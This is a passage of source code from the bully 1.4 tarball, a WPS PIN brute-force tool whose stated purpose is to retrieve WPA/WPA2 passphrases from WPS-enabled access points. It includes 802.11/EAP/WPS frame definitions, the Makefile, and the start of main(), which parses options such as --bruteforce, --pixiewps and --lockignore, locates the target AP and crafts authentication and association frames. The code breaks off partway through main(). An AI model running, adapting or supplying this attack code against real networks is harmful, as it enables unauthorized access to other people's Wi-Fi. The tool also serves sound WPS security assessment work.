uint16 len; uint8 data[]; #define TAG_WPS_V2 0 #define TAG_WPS_LOCKED 1 #define TAG_WPS_CONFIG 2 }; typedef struct ie_vtag vtag_t; #define VTAG_SIZE (sizeof(vtag_t)) /* Device password IDs */ #define WPS_ID_PIN "\x00\x00" #define WPS_ID_USER "\x00\x01" #define WPS_ID_MACHINE "\x00\x02" #define WPS_ID_REKEY "\x00\x03" #define WPS_ID_PBC "\x00\x04" #define WPS_ID_REG "\x00\x05" /* Configuration methods */ #define WPS_CONF_USB (1 << 0) #define WPS_CONF_ETHERNET (1 << 1) #define WPS_CONF_LABEL (1 << 2) #define WPS_CONF_DISPLAY (1 << 3) #define WPS_CONF_EXT_NFC (1 << 4) #define WPS_CONF_INT_NFC (1 << 5) #define WPS_CONF_NFC_IF (1 << 6) #define WPS_CONF_PUSH_BTN (1 << 7) #define WPS_CONF_KEYPAD (1 << 8) #define WPS_CONF_V_PUSH_BTN (1 << 9) #define WPS_CONF_PHY_PUSH_BTN (1 << 10) #define WPS_CONF_V_DISPLAY (1 << 13) #define WPS_CONF_PHY_DISPLAY (1 << 14) struct auth_frame { uint16 algorithm; uint16 sequence; uint16 status; #define AUTH_SUCCESS 0 }; typedef struct auth_frame auth_t; #define AUTH_SIZE (sizeof(auth_t)) struct assn_frame { uint16 capability; uint16 listen; }; typedef struct assn_frame assn_t; #define ASSN_SIZE (sizeof(assn_t)) struct resp_frame { uint16 capability; uint16 status; #define RESP_SUCCESS 0 uint16 assn_id; }; typedef struct resp_frame resp_t; #define RESP_SIZE (sizeof(resp_t)) struct llc_frame { uint8 dsap; uint8 ssap; uint8 control; uint8 org[3]; uint16 type; #define LLC_TYPE_AUTH 0x888e }; typedef struct llc_frame llc_t; #define LLC_SIZE (sizeof(llc_t)) struct d1x_frame { uint8 version; uint8 type; #define D1X_TYPE_EAP 0 uint16 len; uint8 data[]; }; typedef struct d1x_frame d1x_t; #define D1X_SIZE (sizeof(d1x_t)) struct eap_frame { uint8 code; #define EAP_CODE_REQ 1 #define EAP_CODE_RESP 2 #define EAP_CODE_FAIL 4 uint8 id; uint16 len; uint8 type; #define EAP_TYPE_ID 1 #define EAP_TYPE_EXPAND 254 uint8 data[]; }; typedef struct eap_frame eap_t; #define EAP_SIZE (sizeof(eap_t)) struct wfa_frame { uint8 vid[3]; #define WFA_VENDOR "\x00\x37\x2a" uint32 type; #define WFA_SIMPLECONF 1 uint8 op; #define WSC_OP_NACK 3 #define WSC_OP_MSG 4 uint8 flags; vtag_t tags[]; #define WPS_MSG_TYPE "\x10\x22" #define MSG_M1 4 #define MSG_M2 5 #define MSG_M2D 6 #define MSG_M3 7 #define MSG_M4 8 #define MSG_M5 9 #define MSG_M6 10 #define MSG_M7 11 #define MSG_NACK 14 }; typedef struct wfa_frame wfa_t; #define WFA_SIZE (sizeof(wfa_t)) #pragma pack(pop) #endif /* _80211_h */ bully-1.4-00/src/Makefile000077500000000000000000000013521361530463600151640ustar00rootroot00000000000000prefix = /usr/local exec_prefix = $(prefix) bindir = $(exec_prefix)/bin W_NAME = bully W_ROOT = `pwd` CFLAGS += -I$(W_ROOT) -I$(W_ROOT)/utils/ -I$(W_ROOT)/tls/ CFLAGS += -I$(W_ROOT)/wps/ -I$(W_ROOT)/crypto/ -I$(W_ROOT)/common/ CFLAGS += -DUSE_INTERNAL_CRYPTO -O2 LDFLAGS += -lpcap HDRS = $(W_NAME).h 80211.h frame.h iface.h bswap.h version.h SRCS = $(W_NAME).c 80211.c frame.c iface.c crc32.c timer.c utils.c all: $(W_NAME) $(W_NAME): $(HDRS) $(SRCS) $(CC) $(CFLAGS) -o $(@) $(W_NAME).c pdust.c $(LDFLAGS) strip: $(W_NAME) strip $(W_NAME) clean: -rm -f $(W_NAME) $(W_NAME).o distclean: clean install: all install -d $(DESTDIR)$(bindir) install -m 755 $(W_NAME) $(DESTDIR)$(bindir) uninstall: -rm -f $(DESTDIR)$(bindir)/$(W_NAME) bully-1.4-00/src/bswap.h000077500000000000000000000031731361530463600150140ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _BSWAP_H #define _BSWAP_H 1 #ifndef htobe16 # if __BYTE_ORDER == __LITTLE_ENDIAN # define htobe16(x) __bswap_16 (x) # define htole16(x) (x) # define be16toh(x) __bswap_16 (x) # define le16toh(x) (x) # define htobe32(x) __bswap_32 (x) # define htole32(x) (x) # define be32toh(x) __bswap_32 (x) # define le32toh(x) (x) # define htobe64(x) __bswap_64 (x) # define htole64(x) (x) # define be64toh(x) __bswap_64 (x) # define le64toh(x) (x) # else # define htobe16(x) (x) # define htole16(x) __bswap_16 (x) # define be16toh(x) (x) # define le16toh(x) __bswap_16 (x) # define htobe32(x) (x) # define htole32(x) __bswap_32 (x) # define be32toh(x) (x) # define le32toh(x) __bswap_32 (x) # define htobe64(x) (x) # define htole64(x) __bswap_64 (x) # define be64toh(x) (x) # define le64toh(x) __bswap_64 (x) # endif #endif #endif /* _BSWAP_H */ bully-1.4-00/src/bully.c000077500000000000000000001017311361530463600150210ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2017 wiire Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_LUA #include #include #include #include "pingen.h" #include "luaclib.h" #endif #define CONFIG_NO_STDOUT_DEBUG 1 #define CONFIG_INTERNAL_LIBTOMMATH #include "tls/bignum.c" #define eloop_register_timeout(v,w,x,y,z) _ert = 0 #define eloop_cancel_timeout(x,y,z) _ect = 0 #define wps_enrollee_process_msg(x,y,z) _epm = 0 #define wps_enrollee_get_msg(y,z) _egm = 0 #include "utils/os_unix.c" #include "utils/common.c" #include "utils/base64.c" #include "utils/uuid.c" #include "utils/wpa_debug.c" #include "utils/wpabuf.c" #include "crypto/sha1-internal.c" #include "crypto/sha256.c" #include "crypto/sha256-internal.c" #include "crypto/aes-cbc.c" #include "crypto/aes-internal.c" #include "crypto/aes-internal-enc.c" #include "crypto/aes-internal-dec.c" #include "crypto/crypto_internal-modexp.c" #include "crypto/dh_groups.c" #include "crypto/dh_group5.c" #include "wps/wps.c" #include "wps/wps_registrar.c" #include "wps/wps_common.c" #include "wps/wps_dev_attr.c" #include "wps/wps_attr_parse.c" #include "wps/wps_attr_process.c" #include "wps/wps_attr_build.c" #include "bswap.h" #include "80211.h" #include "frame.h" #include "iface.h" #include "bully.h" #include "pdust.h" #include "pixie.h" sig_atomic_t ctrlc = 0; sig_atomic_t signm = 0; void sigint_h(int signal) { signm = signal; ctrlc = 1; }; #include "utils.c" #include "timer.c" #include "crc32.c" #include "80211.c" #include "frame.c" #include "iface.c" #include "version.h" int main(int argc, char *argv[]) { int k, result, nocheck = 0, fcs_count = 0, to_count = 0; char essids[33] = {0}, *essid = essids; char bssids[18] = {0}; char hwmacs[18] = {0}; char *error; mac_t *mac; tag_t *tag, *tags[20] = {0}; vtag_t *vtag, *vt; int tlen, vlen, tn = 1; uint8 essidt[35] = {0}; struct timeval timer; struct sigaction sigact = {0}; struct stat wstat; wps_info_t wps_info = { 0 }; FILE *rf, *of; srandom(time(NULL)); struct global *G; if (G = calloc(1, sizeof(struct global))) { G->phdr = calloc(1, sizeof(struct pcap_pkthdr)); if (!G->phdr) goto mem_err; G->error = calloc(1,256); if (!G->error) goto mem_err; G->perr = calloc(1,PCAP_ERRBUF_SIZE); if (!G->perr) goto mem_err; G->index = calloc(1,MAX_CHAN+1); if (!G->index) goto mem_err; __vp = malloc(__vs); if (!__vp) goto mem_err; __vf = stdout; G->inp = f_init(); if (!G->inp) goto mem_err; G->verbose = __vb; G->smacs = fmt_mac(hwmacs,G->hwmac); G->lwait = LOCK_WAIT_SECS; G->hop = BG_CHANS; G->has_fcs = 1; G->use_ack = 1; G->eapmode = 1; G->retries = MAX_RETRIES; G->random = 1; G->acktime = ACKTIME; G->stdtime = STDTIME; G->m13time = M13TIME; G->k1step = 1; G->k2delay = 5; G->k2step = 1; G->pinstart = G->pindex = -1; op_gen_pin = 0; //Pixie char *temp = getpwuid(getuid())->pw_dir; G->warpath = malloc(strlen(temp) + strlen(EXE_NAME) + 3); strcpy(G->warpath, temp); strcat(G->warpath, "/."); strcat(G->warpath, EXE_NAME); mkdir(G->warpath, S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH); } else { mem_err: fprintf(stderr, "Memory allocation error\n"); return 2; }; while( 1 ) { int option_index = 0; static struct option long_options[] = { {"acktime", 1, 0, 'a'}, {"bssid", 1, 0, 'b'}, {"channel", 1, 0, 'c'}, {"pixiewps", 0, 0, 'd'}, {"essid", 1, 0, 'e'}, {"genpin", 0, 0, 'g'}, {"index", 1, 0, 'i'}, {"lockwait", 1, 0, 'l'}, {"m13time", 1, 0, 'm'}, {"outfile", 1, 0, 'o'}, {"pin", 1, 0, 'p'}, {"retries", 1, 0, 'r'}, {"source", 1, 0, 's'}, #ifdef HAVE_LUA {"lua", 1, 0, 'u'}, #endif {"timeout", 1, 0, 't'}, {"verbosity", 1, 0, 'v'}, {"workdir", 1, 0, 'w'}, {"pin1delay", 1, 0, '1'}, {"pin2delay", 1, 0, '2'}, {"5ghz", 0, 0, '5'}, {"noacks", 0, 0, 'A'}, {"nocheck", 0, 0, 'C'}, {"bruteforce", 0, 0, 'B'}, {"detectlock", 0, 0, 'D'}, {"eapfail", 0, 0, 'E'}, {"force", 0, 0, 'F'}, {"lockignore", 0, 0, 'L'}, {"m57nack", 0, 0, 'M'}, {"nofcs", 0, 0, 'N'}, {"probe", 0, 0, 'P'}, {"wpsinfo", 0, 0, 'Q'}, {"radiotap", 0, 0, 'R'}, {"sequential", 0, 0, 'S'}, {"test", 0, 0, 'T'}, {"version", 0, 0, 'V'}, {"windows7", 0, 0, 'W'}, {"suppress", 0, 0, 'Z'}, {"help", 0, 0, 'h'}, {0, 0, 0, 0 } }; int option = getopt_long(argc, argv, "a:b:c:de:g:i:l:m:o:p:r:s:t:" #ifdef HAVE_LUA "u:" #endif "v:w:1:2:5ABCDEFLMNPQRSTVWZh", long_options, &option_index); if( option < 0 ) break; switch( option ) { case 0 : break; case 'a' : if (get_int(optarg, &G->acktime) != 0) { snprintf(G->error, 256, "Bad packet timeout number -- %s\n", optarg); goto usage_err; }; printf("Deprecated option --acktime (-a) ignored\n"); break; case 'b' : if (get_mac(optarg, G->bssid) != 0) { snprintf(G->error, 256, "Bad target MAC address -- %s\n", optarg); goto usage_err; }; G->ssids = fmt_mac(bssids,G->bssid); break; case 'c' : G->hop = optarg; break; case 'e' : G->essid = optarg; break; case 'g' : get_int(optarg, &op_gen_pin); break; case 'i' : if (get_int(optarg, &G->pindex) != 0 || 99999999 < G->pindex) { snprintf(G->error, 256, "Bad starting index number -- %s\n", optarg); goto usage_err; }; break; case 'l' : if (get_int(optarg, &G->lwait) != 0) { snprintf(G->error, 256, "Bad lock wait number -- %s\n", optarg); goto usage_err; }; break; case 'm' : if (get_int(optarg, &G->m13time) != 0) { snprintf(G->error, 256, "Bad M1/M3 timeout number -- %s\n", optarg); goto usage_err; }; printf("Deprecated option --m13time (-m) ignored\n"); break; case 'o' : if ((of = fopen(optarg, "w")) != NULL) __vf = of; else { snprintf(G->error, 256, "Can't open output file -- %s\n", optarg); goto usage_err; }; break; case 'p' : if (get_int(optarg, &G->pinstart) != 0 || 99999999 < G->pinstart) { snprintf(G->error, 256, "Bad starting pin number -- %s\n", optarg); goto usage_err; }; break; case 'r' : if (get_int(optarg, &G->retries) != 0) { snprintf(G->error, 256, "Bad max retries number -- %s\n", optarg); goto usage_err; }; break; case 's' : if (get_mac(optarg, G->hwmac) != 0 || memcmp(G->hwmac, NULL_MAC, 6) == 0) { snprintf(G->error, 256, "Bad source MAC address -- %s\n", optarg); goto usage_err; }; break; case 't' : if (get_int(optarg, &G->stdtime) != 0) { snprintf(G->error, 256, "Bad timeout number -- %s\n", optarg); goto usage_err; }; printf("Deprecated option --timeout (-t) ignored\n"); break; #ifdef HAVE_LUA case 'u': { const unsigned int luap = strlen(optarg); if (stat(optarg, &wstat) || !S_ISREG(wstat.st_mode) || luap < 5 || strcmp(&optarg[luap - 4], ".lua")) { snprintf(G->error, 256, "Bad lua scripting file -- %s\n", optarg); goto usage_err; }; result = wstat.st_mode | (wstat.st_mode >> 4); if ((result & S_IRWXG) != S_IRWXG) { snprintf(G->error, 256, "Permission denied -- %s\n", optarg); goto usage_err; }; G->luaf = optarg; } break; #endif case 'v' : if (get_int(optarg, &G->verbose) != 0 || G->verbose < 1 || 4 < G->verbose) { snprintf(G->error, 256, "Bad verbosity level -- %s\n", optarg); goto usage_err; }; __vb = G->verbose; get_int(optarg, &debug_level); break; case 'w' : if (stat(optarg, &wstat) || !S_ISDIR(wstat.st_mode)) { snprintf(G->error, 256, "Bad working directory -- %s\n", optarg); goto usage_err; }; result = wstat.st_mode | (wstat.st_mode>>4); if ((result & S_IRWXG) != S_IRWXG) { snprintf(G->error, 256, "Permission denied -- %s\n", optarg); goto usage_err; }; free(G->warpath); G->warpath = optarg; break; case '1' : if (get_int(optarg, &G->k1delay) != 0) if (sscanf(optarg, "%d,%d%s", &G->k1delay, &G->k1step, G->error) != 2) { snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg); goto usage_err; }; break; case '2' : if (get_int(optarg, &G->k2delay) != 0) if (sscanf(optarg, "%d,%d%s", &G->k2delay, &G->k2step, G->error) != 2) { snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg); goto usage_err; }; break; //Pixie case 'd' : run_pixiewps = 1; G->force = 1; break; case '5' : G->hop = AN_CHANS; break; case 'A' : G->use_ack = 0; break; case 'B' : G->broken = 1; break; case 'C' : nocheck = 1; break; case 'D' : G->detect = 1; break; case 'E' : G->eapfail = 1; break; case 'F' : G->force = 1; break; case 'L' : G->ignore = 1; break; case 'M' : G->m57nack = 1; times[PKT_M5].avg = times[PKT_M5].max = times[PKT_M5].def * 2; times[PKT_M7].avg = times[PKT_M7].max = times[PKT_M7].def * 2; break; case 'N' : G->has_fcs = 0; break; case 'P' : G->probe = 1; break; case 'Q' : G->wpsinfo = 1; break; case 'R' : G->has_rth = 1; break; case 'S' : G->random = 0; break; case 'T' : G->test = 1; break; case 'V' : printf("%s\n",VERSION); exit(0); case 'W' : G->win7 = 1; break; case 'Z' : G->suppress = 1; break; case 'h' : goto usage_err; case '?' : default : fprintf(stderr, "\"%s --help\" for help.\n", argv[0]); return 1; }; }; if (argc - optind != 1) { if (argc - optind == 0) G->error = "No monitor mode interface specified\n"; else G->error = "Too many arguments\n"; usage_err: fprintf(stderr, usage, argv[0], G->error); return 1; }; if (-1 < G->pindex) { if (9999999 < G->pindex && !G->broken) { snprintf(G->error, 256, "Index number must be less than 8 digits unless -bruteforce is specified -- %08d\n", G->pindex); goto usage_err; }; if (-1 < G->pinstart) { G->error = "Options --index and --pin are mutually exclusive\n"; goto usage_err; }; if (G->random == 0) { G->error = "Option --index is meaningless when specifying --sequential\n"; goto usage_err; }; }; if (9999999 < G->pinstart && !G->broken) { snprintf(G->error, 256, "Pin number must be less than 8 digits unless -bruteforce is specified -- %08d\n", G->pinstart); goto usage_err; }; G->ifname = argv[optind]; memset(p_iface,0,sizeof(p_iface)); strcat(p_iface, G->ifname); if (G->essid == 0 && G->ssids == 0) { G->error = "Please specify either --bssid or --essid for the access point\n"; goto usage_err; }; if (G->essid == 0 && G->probe != 0) { G->error = "You must specify --essid for the AP when using --probe\n"; goto usage_err; }; #ifdef HAVE_LUA if (G->luaf) { if ((G->luavm = basic_env()) == 0) { fprintf(stderr, "Unable to create Lua environment\n"); return 9; } luaL_requiref(G->luavm, "wps", luaopen_wpslib, 1); luaL_requiref(G->luavm, "algorithm", luaopen_algolib, 1); if (luaL_dofile(G->luavm, G->luaf) != LUA_OK) { snprintf(G->error, 256, "Error loading lua script -- %s\n", lua_tostring(G->luavm, -1)); lua_close(G->luavm); goto usage_err; }; G->wpsinfo = 1; /* Force data gathering for algorithms */ }; #endif if (memcmp(G->hwmac, NULL_MAC, 6) == 0) if (get_hwmac(G->ifname, G->hwmac)) { fprintf(stderr, "Unable to get hardware MAC address for '%s'\n", G->ifname); fprintf(stderr, "Please specify --source for the interface\n"); return 8; }; fmt_mac(hwmacs, G->hwmac); vprint("[!] Bully %s - WPS vulnerability assessment utility\n", VERSION); printf("[P] Modified for pixiewps by AAnarchYY(aanarchyy@gmail.com)\n"); if ((error = init_chans(G)) != NULL) { snprintf(G->error, 256, "Bad channel number or list -- %s\n", error); goto usage_err; }; G->chanx = set_chanx(G, G->chanx); G->start = (G->chanx ? G->chanx : G->chans[0]); if (-1 < G->pinstart && G->random) { vprint("[!] Starting pin specified, defaulting to sequential mode\n"); G->random = 0; }; if (-1 < G->pindex) G->pinstart = G->pindex; G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr); pcap_close(G->pfd); G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr); if (!G->pfd) { fprintf(stderr, "%s\n", G->perr); return 3; }; vprint("[!] Using '%s' for the source MAC address\n", G->smacs); G->dlt = pcap_datalink(G->pfd); if (G->dlt == DLT_IEEE802_11_RADIO) G->has_rth = 1; vprint("[+] Datalink type set to '%d', radiotap headers %s\n", G->dlt, (G->has_rth ? "present" : "not present")); if (G->probe) { // Build directed probe request for nonbeaconing AP's mac = (mac_t*)(&prober[RTH_SIZE]); memcpy(mac->adr2.addr, G->hwmac, 6); tags[0] = (tag_t*)(essidt); tags[0]->len = strlen(G->essid); memcpy(tags[0]->data, G->essid, tags[0]->len); int tmpl; uint8 *tmp = build_ietags(tags, &tmpl); G->dprobe = build_packet(prober,sizeof(prober)-1,tmp,tmpl); G->reql = sizeof(prober)-1 + tmpl; free(tmp); }; vprint("[+] Scanning for beacon from '%s' on channel '%s'\n", (G->ssids ? G->ssids : G->essid), G->schan); while (1) { ap_beacon: if (G->probe) { if (!G->test) result = send_packet(G, G->dprobe, G->reql, 1); result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP, G->hwmac, G->bssid, PKT_PR, TRUE); } else result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON, BCAST_MAC, G->bssid, PKT_BEA, TRUE); if (result == SUCCESS) { tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE); tlen = G->inp[F_PAY].size - BFP_SIZE; if (G->essid) if (strlen(G->essid) != tag->len) goto ap_beacon; else if (memcmp(G->essid, tag->data, tag->len) == 0) break; else if (memcmp(tag->data, nulls, tag->len) == 0) { memcpy(tag->data, G->essid, tag->len); break; } else goto ap_beacon; memcpy(essids,tag->data,tag->len); G->essid = essids; break; }; if (result == FCSFAIL) { if (3 <= ++fcs_count) { vprint("[!] Disabling FCS validation (assuming --nofcs)\n"); G->has_fcs = fcs_count = 0; }; continue; }; if (result == TIMEOUT) if (!G->fixed) { G->chanx = next_chan(G); if (G->chanx == G->start) { if (++to_count < 3) continue; } else continue; } else if (++to_count < 3) continue; vprint("[X] Unable to get a beacon from the AP, possible causes are\n"); vprint("[.] an invalid --bssid or -essid was provided,\n"); if (G->fixed) vprint("[.] the access point isn't on channel '%s',\n", G->schan); if (!G->fixed) vprint("[.] channel hopping isn't working (use --channel),\n"); vprint("[.] you aren't close enough to the access point.\n"); return 4; }; memcpy(G->bssid, ((mac_t*)G->inp[F_MAC].data)->adr3.addr, 6); memset(p_bssid,0,sizeof(p_bssid)); strcat(p_bssid, G->ssids); G->ssids = fmt_mac(bssids, G->bssid); vprint("[+] Got beacon for '%s' (%s)\n", G->essid, G->ssids); G->nocheck = nocheck; mac = (mac_t*)(&authrq[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&deauth[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&eapols[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&eapolf[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&eap_id[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&wfamsg[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); mac = (mac_t*)(&ackpkt[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); mac = (mac_t*)(&asshat[RTH_SIZE]); memcpy(mac->adr1.addr, G->bssid, 6); memcpy(mac->adr2.addr, G->hwmac, 6); memcpy(mac->adr3.addr, G->bssid, 6); assn_t *ass = (assn_t*)(&asshat[RTH_SIZE+MAC_SIZE_NORM]); ass->capability = ((bfp_t*)(G->inp[F_PAY].data))->capability; tags[0] = tag; if ((tags[tn] = find_tag(tag, tlen, TAG_RATE, 0, NULL, 0)) != NULL) tn++; if ((tags[tn] = find_tag(tag, tlen, TAG_CHAN, 0, NULL, 0)) != NULL) { if (G->chans[G->chanx] != tags[tn]->data[0]) if (!G->fixed) G->chanx = set_chan(G, tags[tn]->data[0]); else vprint("[!] The access point is on channel '%d', not '%s'\n", tags[tn]->data[0], G->schan); tn++; }; if ((tags[tn] = find_tag(tag, tlen, TAG_XRAT, 0, NULL, 0)) != NULL) tn++; tags[tn++] = (tag_t*)MS_WPS_TAG; tags[tn] = NULL; /* Get vendor OUI from frame when present */ if (get_oui_vendor(tag, tlen, wps_info.vendor)) { char vendor[OUI_STR_LEN]; memcpy(vendor, get_vendor(wps_info.vendor), OUI_STR_LEN); vprint("[!] Vendor '%s' (%02x:%02x:%02x)\n", vendor, wps_info.vendor[0], wps_info.vendor[1], wps_info.vendor[2]); wps_info.vendor_p = TRUE; }; if ((tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) == NULL) { vprint("[X] The AP doesn't appear to be WPS enabled (no WPS IE)\n"); return 5; }; vtag = (vtag_t*)&tag->data[4]; vlen = tag->len - 4; vt = find_vtag(vtag, vlen, TAG_WPS_STATE, 1); if (!vt || vt->data[0] != TAG_WPS_CONFIG) { vprint("[!] Beacon IE indicates WPS is not configured\n"); }; vt = find_vtag(vtag, vlen, TAG_WPS_APLOCK, 1); if (vt && vt->data[0] == TAG_WPS_LOCKED) { vprint("[!] Beacon IE indicates WPS is locked\n"); }; if (vt = find_vtag(vtag, vlen, TAG_WPS_VERSION, 1)) { wps_info.version = vt->data[0]; }; if (vt = find_vtag(vtag, vlen, TAG_WPS_V_EXT, 2)) { if (memcmp(vt->data, WFA_VENDOR, 3) == 0) { uint8 *v2 = (uint8*)(vt->data + 3); int wfa_len = be16toh(vt->len); while (wfa_len > 0) { if (*v2 == TAG_WPS_V2) { wps_info.version = v2[2]; break; }; wfa_len -= v2[1] + 2; v2 += v2[1] + 2; }; }; }; vprint("[!] WPS version '%u.%u'\n", wps_info.version >> 4, wps_info.version & 0x0f); if (G->wpsinfo) { /* Build direct probe request to gather more WPS info */ mac = (mac_t*)(&prober[RTH_SIZE]); memcpy(mac->adr2.addr, G->hwmac, 6); tags[0] = (tag_t*)(essidt); tags[0]->len = strlen(G->essid); memcpy(tags[0]->data, G->essid, tags[0]->len); int tmpl; uint8 *tmp = build_ietags(tags, &tmpl); G->dprobe = build_packet(prober, sizeof(prober) - 1, tmp, tmpl); G->reql = sizeof(prober) - 1 + tmpl; free(tmp); vprint("[+] Sending probe request to '%s' (%s)\n", G->essid, G->ssids); while (1) { ap_probe: result = send_packet(G, G->dprobe, G->reql, 1); result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP, G->hwmac, G->bssid, PKT_PR, TRUE); if (result == SUCCESS) { /* G->has_fcs is already set to 0 if needed */ tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE); tlen = G->inp[F_PAY].size - BFP_SIZE; if (strlen(G->essid) != tag->len) goto ap_probe; else break; }; if (result == TIMEOUT) { vprint("[!] Unable to get probe response from the AP\n"); break; }; }; if (result == SUCCESS) { vprint("[+] Got probe response from '%s' (%s)\n", G->essid, G->ssids); if (tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) { vtag = (vtag_t*)&tag->data[4]; vlen = tag->len - 4; vtag_t *init_vtag = vtag; if (vtag = find_vtag(vtag, vlen, TAG_WPS_PASSWD, 2)) { wps_info.passw_id = be16toh(*((uint16_t*)(&vtag->data[0]))); wps_info.passw_id_p = TRUE; if (wps_info.passw_id != DEV_PW_DEFAULT) { char c_pwid[20]; vprint("[!] Device Password ID is not set to PIN but to '%s' (0x%04x)\n", build_dev_passw_id(wps_info.passw_id, c_pwid), wps_info.passw_id); }; } else { vprint("[!] Device Password ID is not present in probe response\n"); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_CONF_M, 2)) { char c_buff[60]; wps_info.config_methods = be16toh(*((uint16_t*)(&vtag->data[0]))); if (wps_info.config_methods & WPS_CONF_LABEL == 0) vprint("[!] Method Label doesn't seem to be supported\n"); vprint("[!] Configuration methods '%s'\n", build_conf_methods_string(wps_info.config_methods, c_buff)); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_TYPE, 8)) { char c_buff[60]; wps_info.category = be16toh(*((uint16_t*)(&vtag->data[0]))); wps_info.subcategory = be16toh(*((uint16_t*)(&vtag->data[6]))); vprint("[!] Device type '%s'\n", build_dev_type_string(wps_info.category, wps_info.subcategory, c_buff)); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_UUID_E, 16)) { memcpy(wps_info.uuid, vtag->data, 16); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_NAME, 0)) { int tag_size = be16toh(vtag->len); memcpy(wps_info.device_name, vtag->data, tag_size); wps_info.device_name[tag_size] = '\0'; vprint("[!] Device name '%s'\n", wps_info.device_name); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_MANU, 0)) { int tag_size = be16toh(vtag->len); memcpy(wps_info.manufacturer, vtag->data, tag_size); wps_info.manufacturer[tag_size] = '\0'; vprint("[!] Manufacturer '%s'\n", wps_info.manufacturer); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NAME, 0)) { int tag_size = be16toh(vtag->len); memcpy(wps_info.model_name, vtag->data, tag_size); wps_info.model_name[tag_size] = '\0'; vprint("[!] Model name '%s'\n", wps_info.model_name); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NUM, 0)) { int tag_size = be16toh(vtag->len); memcpy(wps_info.model_number, vtag->data, tag_size); wps_info.model_number[tag_size] = '\0'; vprint("[!] Model number '%s'\n", wps_info.model_number); }; if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_SERIAL, 0)) { int tag_size = be16toh(vtag->len); memcpy(wps_info.serial_number, vtag->data, tag_size); wps_info.serial_number[tag_size] = '\0'; vprint("[!] Serial number '%s'\n", wps_info.serial_number); }; }; }; }; int msgl; uint8 *msg = build_ietags(tags, &msgl); G->asshat = build_packet(asshat,sizeof(asshat)-1,msg,msgl); G->assl = sizeof(asshat)-1 + msgl; free(msg); parse_packet(G->inp, &wfamsg[0], sizeof(wfamsg)-1, TRUE, TRUE); G->d1xlnx = (uint8*)&((d1x_t*)G->inp[F_D1X].data)->len - &wfamsg[0]; G->eapidx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->id - &wfamsg[0]; G->eaplnx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->len - &wfamsg[0]; G->wfaopx = (uint8*)&((wfa_t*)G->inp[F_WFA].data)->op - &wfamsg[0]; wpsc_t *wconf = calloc(sizeof(wpsc_t),1); if (!wconf) goto mem_err; wconf->registrar = TRUE; wpsr_t *wregc = calloc(sizeof(wpsr_t),1); if (!wregc) goto mem_err; wregc->disable_auto_conf = TRUE; wconf->wps = calloc(sizeof(wctx_t),1); if (!wconf->wps) goto mem_err; wconf->wps->registrar = wps_registrar_init(wconf->wps, wregc); if (!wconf->wps->registrar) { vprint("[X] Failed to initialize the WPS registrar, exiting\n"); return 6; }; for (k=0; k<16; k++) wconf->wps->uuid[k] = random() % 255; G->wdata = wps_init(wconf); if (!G->wdata) { vprint("[X] Failed to initialize the WPS structure, exiting\n"); return 6; }; if (G->win7) { G->wdata->wps->dev.device_name = W7_DEVICE_NAME; G->wdata->wps->dev.manufacturer = W7_MANUFACTURER; G->wdata->wps->dev.model_name = W7_MODEL_NAME; 